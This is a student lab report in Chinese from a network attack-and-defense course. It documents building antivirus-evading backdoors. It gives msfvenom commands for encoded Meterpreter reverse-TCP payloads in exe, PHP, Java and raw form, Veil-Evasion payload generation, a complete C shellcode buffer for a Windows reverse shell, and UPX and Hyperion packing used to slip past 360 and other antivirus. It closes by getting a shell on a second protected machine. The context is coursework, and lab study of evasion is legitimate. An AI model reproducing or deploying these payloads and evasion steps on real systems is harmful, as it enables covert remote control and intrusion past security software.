1. 程式人生 > 其它 >20192419 2021-2022-2 《網路與系統攻防技術》實驗三實驗報告

20192419 2021-2022-2 《網路與系統攻防技術》實驗三實驗報告

目錄

1.實踐內容

本次實驗分為三個部分:

1.正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧

  • 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
  • veil,加殼工具
  • 使用C + shellcode程式設計

2.通過組合應用各種技術實現惡意程式碼免殺

3.用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

2.實驗過程

1.使用MSF編碼器,生成測試檔案

這裡我們使用5次編碼以降低檢測率,生成exe檔案程式碼為:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.181.129 LPORT=443 -f exe > 20192419hello.exe

進入virustotal病毒測試網站,將exe檔案上傳至網站進行測試,測試結果如下:

接下來我們生成PHP檔案進行測試,生成程式碼為:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=443 x > 20192419php.php

放入virustotal病毒測試網站測試,測試結果為:

生成Java後門程式,生成程式碼為:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=443 x > 20192419java.jar

放入virustotal病毒測試網站測試,測試結果為:

2.正確使用veil-evasion

安裝veil

安裝Veil命令為sudo apt-get install veil-evasion,因為源的問題,導致安裝十分緩慢

那麼,我們進入/usr/share/veil/config/setup.sh,使用vim開啟該檔案,檢視第260行,可看到sudo git clone,將網站改成https://github.com/Veil-Framework/VeilDependencies.git

我們繼續安裝,輸入veil,發現安裝過程出錯:

找到問題是因為未安裝wine32,解決:

在終端下輸入
dpkg --add-architecture i386
apt-get update
apt-get install wine32
安裝會有一個error提示,提示使用apt-get update來修復,那就繼續輸入apt-get update
apt-get install wine32

下載完wine32,繼續安裝veil,若出現錯誤,則按照提示輸入/usr/share/veil/config/setup.sh --force --silent

安裝成功後,進入veil後輸入use evasion進入命令列:

輸入list檢視我們可以使用不同payload,檢視我們可使用的檢視攻擊載荷

輸入use powershell/meterpreter/rev_tcp.py命令進入配置介面,隨後設定IP地址和埠號,將其設為kali虛擬機器的IP地址和4444埠號

輸入generate生成檔案,命名為20192419pay.bat,生成bat並放入virustotal檢測:

輸入命令use c/meterpreter/rev_tcp.py設定IP進入配置介面以生成exe

然後生成exe檔案放入virustotal網站進行檢測

輸入命令use python/meterpreter/rev_tcp.py進入配置介面以生成python檔案

然後生成py檔案放入virustotal網站進行檢測

3.正確使用C + shellcode程式設計,注入Shellcode並執行

使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.130 LPORT=4444 -f c用c語言生成一段shellcode,將這段shellcode複製下來;

生成的shellcode程式碼為:
unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49" "\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78" "\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3" "\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac" "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24" "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59" "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d" "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xb5\x82\x68\x02" "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff" "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

使用vim開啟20192419c.c檔案,將這行shellcode複製貼上上去,並加上函式進行呼叫。

輸入i686-w64-mingw32-g++ 20192419c.c -o 20192419toexe.exe將C語言檔案轉換成exe檔案

放入virustotal網站進行檢測

執行該檔案時,會彈出找不到libgcc_s_dw2-1.dll,將Linux中的dll拖入windows主機中的C:\mingw64\bin路徑下即可解決

4.正確使用加殼

加殼的特徵是可執行程式資源壓縮,壓縮後的程式可直接執行。

加殼的另一種常用方式是在二進位制的程式中植入一段程式碼,在執行的時候優先取得控制權,之後再把控制權交給原始程式碼(目的:隱藏程式真正的OEP[入口點,防止被破解],大多數病毒就是此原理)

加殼作用:

  • 防止軟體被破解,保護軟體版權;
  • 增加程式執行速度;
  • 病毒製作,繞過一些防毒軟體的掃描,從而實現作為病毒的一些入侵或破壞一些特徵;

首先,我們先使用壓縮殼,同時還能起到加密的作用,使用upx 20192419toexe.exe -o 20192419upxexe.exe來對剛剛生成的exe檔案加上壓縮殼

放入windows上沒有被360查殺,執行後在Linux上進行exploit監聽,獲得Windows的shell

隨後,我們嘗試使用加密殼Hyperion,先將加上壓縮殼的檔案放入/usr/share/windows-resources/hyperion/路徑下。 (使用root使用者開啟,否則沒有許可權)

輸入命令wine hyperion.exe -v 20192419upxexe.exe 20192419upx.exe生成加密殼

但放入Windows上,加密殼反而被360衛士檢測出來了,而壓縮殼沒有被查殺,有可能是因為360有加密殼的特徵碼而沒有壓縮殼的特徵碼。

原因可能是加密會導致熵過於密集,被防毒軟體識別起來更容易。解決方法是在每個位元組後門加上一個空位元組,減小熵,讓相應的防毒軟體忽略掉這個空位元組,但實現起來難度太大,這裡暫不實現。

5.通過組合應用各種技術實現惡意程式碼免殺

通過命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.181.130 lport=4444 -f raw -o 20192419.raw生成raw作為目標檔案,生成後能安全通過360防毒的檢測

進入msf控制檯進行監聽並設定好IP地址和埠,執行exploit,隨後在shellcode_launcher對應的資料夾下使用命令列,執行shellcode_launcher.exe -i 20192419.raw,發現我們獲得了Windows系統的shell

6.用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功

先將虛擬機器的網路配置改為橋接模式,避免目標主機回連失敗。

再回到主機中配置虛擬網路編輯器,進入更改設定,將橋接模式的VMnet0橋接至Intel(R)Wireless-AC 9560

主機能夠ping通目標機

使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.104 lport=4444 -f raw -o 20192419.raw來生成raw後門程式

在Linux上進入MSF控制檯,設定好payload、IP地址、埠號後開始監聽。

目標主機執行raw檔案

獲取目標主機shell,其使用電腦管家

3.問題及解決方案

  • 防毒軟體的工作原理是什麼?

1、軟體模擬掃描法:專門用來對付多型變形病毒。

2、比較法:用原始備份與被檢測引導扇區或檔案作比較。

3、綜合對比法:將每個程式的檔名、大小、時間、日期及內容,綜合為一個檢查碼

4、搜尋法:用每一種病毒體含有的特定字串對被檢測的物件進行掃描。

5、分析法:靜態分析和動態分析。

6、人工智慧陷阱技術和巨集病毒陷阱技術

  • 為何殼容易被防毒軟體發現?

殼就是利用特定的壓縮演算法(就象WinZIP一樣)把、壓縮打包執行的時候在記憶體中解壓釋放程式本體再執行,由於壓縮保護注重的是壓縮(使程式體積變小)附帶反反編譯和反除錯功能.就拿UPX來說~他就是壓縮沒有反除錯功能和其他功能甚至只要找到OEP(程式入口點)就可以脫殼了(在記憶體中完全還原),這樣防毒軟體就可以同樣在記憶體中查到完整的本體程式碼了

4.學習感悟、思考等

本次實驗教會了如何實現後門免殺技術,但是由於現在的防毒軟體更新的完善和漏洞的補全,導致現在的免殺效果不是很理想,大多數都會被防毒軟體殺掉。所以本次實驗更多是讓我們瞭解基礎的免殺技術,讓我們更有興趣去學習網路攻防技術。